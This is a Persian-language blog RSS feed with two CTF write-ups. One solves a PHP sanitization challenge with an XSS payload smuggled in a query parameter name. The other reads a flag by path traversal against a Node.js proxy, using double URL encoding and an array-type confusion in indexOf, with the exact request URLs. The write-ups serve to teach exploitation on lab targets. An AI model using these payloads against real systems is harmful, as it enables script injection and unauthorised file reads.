<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های محمود شهابی</title>
        <link>https://virgool.io/feed/@m4shahab1</link>
        <description></description>
        <language>fa</language>
        <pubDate>2026-06-22 13:20:50</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/5417/avatar/fWvLtg.png?height=120&amp;width=120</url>
            <title>محمود شهابی</title>
            <link>https://virgool.io/@m4shahab1</link>
        </image>

                    <item>
                <title>چالش April Rain آفسک</title>
                <link>https://virgool.io/@m4shahab1/%DA%86%D8%A7%D9%84%D8%B4-april-rain-%D8%A2%D9%81%D8%B3%DA%A9-apnltryjg3zw</link>
                <description>دیشب کانال آفسک یه چالش جدید وب گذاشت. تو توضیحات نوشته شده این چالش مرتبط با آسیب پذیری Sanitize کردن ورودی ها در Php ه. سطح چالش هم آسان رو به متوسط عنوان شده (من فکر می کنم همون آسون خالی بهتره :) ) خب میریم یه بررسی رو چالش داشته باشیم.پس از ارسال اولین درخواست به صفحه مورد نظر متوجه می شیم که سورس کد رو به صورت کامنت برای ما گذاشتن. به طور خلاصه به نظر میرسه یه Query String از روی پارامترهای ارسال شده با اعمال چند فیلتر ساخته و به صورت یه لینک به پاسخ اضافه میشه. $ curl https://offseclabs.ir/april_rain.php

Are you tryina flirt with Parisa Tabriz? So not bad to offer this song to her of your hearts.&lt;br&gt;Sanitization Flaw Challenge&lt;br&gt;Offsec Research&lt;br&gt;&lt;br&gt;
&lt;!--
&lt;php
$sanityzed = [];

foreach ($_GET as $key =&gt; $value) {
    $sanityzed[$key] = intval($value);
}

$qBits = array_map(function ($key, $value) {
        return $key . &#039;=&#039; . $value;
 }, array_keys($sanityzed), array_values($sanityzed));

$kwɪəri = implode(&#039;&amp;&#039;, $qBits);
        
echo &quot;&lt;a href=&#039;/april_rain.php?2live4&quot; .
        htmlentities($kwɪəri) . &quot;&#039;&gt;2live4&lt;/a&gt;&quot;;
?&gt;
--&gt;
&lt;a href=&#039;/april_rain.php?2live4&#039;&gt;2live4&lt;/a&gt;مساله اول، که بهتر بود تو معرفی چالش عنوان بشه، هدف چالش بود. مثلا تو مسابقات CTF هدف پیدا کردن flag ه. اما اینجا مشخص نیست دقیقا. ولی با یکم بررسی میشه حدس زد که باید از این صفحه آسیب پذیری XSS پیدا کرد. برای تزریق payload حمله نمیشه از مقدار پارامترهای درخواست استفاده کرد چون مقدارها تبدیل به عدد میشن و این فیلتر جلوی حمله رو میگیره اما نام پارامترها میتونه تو اجرای حمله کمک کنه. به آدرس زیر و لینک تولید شده تو صفحه متناظرش توجه کنید.$ curl https://offseclabs.ir/april_rain.php?foo=0&amp;bar=2
&lt;a href=&#039;/april_rain.php?2live4foo=0&amp;bar=2&#039;&gt;2live4&lt;/a&gt;خب واضح ه که با تزریق payload مناسب تو نام پارامترها میشه حمله XSS رو اجرا کرد تنها مساله دور زدن تابع htmlentities ه چون کاراکترهای خاص HTML رو enocde می کنه. در نهایت با درخواست زیر میشه این آسیب پذیری رو exploit و چالش رو حل کرد.$ curl https://offseclabs.ir/april_rain.php?%27onmouseover%3d%27alert(1)%27foo=0
&lt;a href=&#039;/april_rain.php?2live4&#039;onmouseover=&#039;alert(1)&#039;foo=0&#039;&gt;2live4&lt;/a&gt;این هم تصویر نتیجه (البته پس از حرکت موس روی لینک)نتیجه اجرای حمله xss در چالشمنتظر چالش های جدیتر از آفسک هستیم.</description>
                <category>محمود شهابی</category>
                <author>محمود شهابی</author>
                <pubDate>Wed, 14 Mar 2018 08:47:05 +0330</pubDate>
            </item>
                    <item>
                <title>مشکل Dynamic Type و توابع مشترک</title>
                <link>https://virgool.io/@m4shahab1/%D9%85%D8%B4%DA%A9%D9%84-dynamic-type-%D9%88-%D8%AA%D9%88%D8%A7%D8%A8%D8%B9-%D9%85%D8%B4%D8%AA%D8%B1%DA%A9-fy39lelvdzmp</link>
                <description>چند وقت پیش تو مسابقه CSAW CTF شرکت کردم و یه مقدار روی چالش های وب وقت گذاشتم. یه چالش ۱۰۰ امتیازی وب به نام Orange v1 داشت. یه سرور Nodejs که نقش پراکسی برای یه سرور پایتونی رو بازی می کرد.var http = require(&#039;http&#039;);
var fs = require(&#039;fs&#039;);
var url = require(&#039;url&#039;);
var server = http.createServer(function(req, res) {
   try {
       var path = url.parse(req.url, true).query;
       path = path[&#039;path&#039;];
       if (path.indexOf(&quot;..&quot;) == -1 &amp;&amp; path.indexOf(&quot;ï¼®ï¼®&quot;) == -1) {
           var base = &quot;http://localhost:8080/poems/&quot;;
           var callback = function(response){
               var str = &#039;&#039;;
               response.on(&#039;data&#039;, function (chunk) {
                   str += chunk;
               });
               response.on(&#039;end&#039;, function () {
                 res.end(str);
               });
           }
           http.get(base + path, callback).end();
       } else {
           res.writeHead(403);
           res.end(&quot;WHOA THATS BANNED!!!!&quot;);
       }
   }
   catch (e) {
       res.writeHead(404);
       res.end(&#039;Oops&#039;);
   }
});
server.listen(9999);خیلی واضح ه که برای حل سوال باید شرط اول، مربوط به پارامتر path رو دور زد. (البته بعد از حل مساله می تونید کد رو ببنید :) ) ساده ترین راهی که به ذهن بیشتر مسابقه دهنده ها خطور می کنه و جواب هم میده استفاده از Double URL Encode ه. در نهایت با آدرس زیر می شد flag رو خوند.http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt
-&gt; http://localhost:8080/poems/%2e%2e/flag.txt
-&gt; http://localhost:8080/poems/../flag.txt
flag{thank_you_based_orange_for_this_ctf_challenge}تقریبا تمام Writeup های این سوال رو از اینجا و اینجا خوندم. همه از همین روش استفاده کردن. اما از اونجایی که من معمولا راه های ساده به ذهن م نمیرسه و لقمه رو دور سرم می چرخونم از یه راه دیگه سوال رو حل کردم.اگه به شرط دقت کنید برای تشخیص &quot;..&quot; در پارامتر path از تابع indexOf استفاده شده. خب نکته جالب اینجاست که این تابع فقط برای متغیرهای رشته ای تعریف نشده. به طور مثال متغیر از نوع آرایه هم تابعی با نام indexOf داره که تبعا کاربرد متفاوتی از نمونه قبلی داره. حالا اگه به شرط مربوط به path برگردیم، میبینیم که اگه متغیر path از نوع رشته ای باشه اون شرط بررسی می کنه، &quot;..&quot; در جایی از رشته مورد نظر وجود داره ولی اگه متغیر از نوع آرایه تعریف شده باشه وجود آیتم &quot;..&quot; در بین آیتم های موجود در آرایه بررسی میشه. در ضمن قطعا طراح سوال انتظار داشته متغیر path از نوع رشته ای باشه. اما چطور از این موضوع برای دور زدن شرط استفاده کنیم؟!در صورتی که در Query String برای یه متغیر بیش از یه مقدار تعیین شده باشه پارسر URL به دو صورت می تونه عمل کنه. اول اینکه یکی از مقدارها رو برای متغیر در نظر بگیره. دوم اینکه مقدار متغیر مورد نظر برابر آرایه ای از مقدارها بشه. بررسی بر روی ماژول url در Nodejs نشون میده که پارسر به روش دوم عمل میکنه. پس ما می تونیم نوع متغیر path رو از رشته به آرایه تغییر بدیم و شرط رو به سادگی دور بزنیم. http://web.chal.csaw.io:7311/?path=../flag.txt&amp;path=haha
-&gt; http://localhost:8080/poems/../flag.txt,haha
404 Not Foundاما برای خواندن flag باید جمع متغیرهای base و path به گونه ای بشه که فایل flag درخواست داده بشه. برای این کار درخواست زیر رو ساختم و flag خونده شد.http://web.chal.csaw.io:7311/?path=../flag.txt%23&amp;path=haha
-&gt; http://localhost:8080/poems/../flag.txt#,haha
flag{thank_you_based_orange_for_this_ctf_challenge}ریشه همچین باگی Dynamic Type Binding تو زبان هایی مثل Javascript ه و زمانی ممکن ه پیش بیاد که یا دو نوع متغیر مختلف دارای تابع هم نام باشن یا یه تابع بر روی دو نوع متغیر مختلف عمل کنه. خیلی دوست دارم بررسی های بیشتری انجام بدم تا مثال های عملی دیگه ای رو پیدا کنم که می تونن چنین مشکلی داشته باشن.خوشحال میشم اگه موردی سراغ دارید با من درمیون بذارید.</description>
                <category>محمود شهابی</category>
                <author>محمود شهابی</author>
                <pubDate>Wed, 14 Mar 2018 02:02:33 +0330</pubDate>
            </item>
            </channel>
</rss>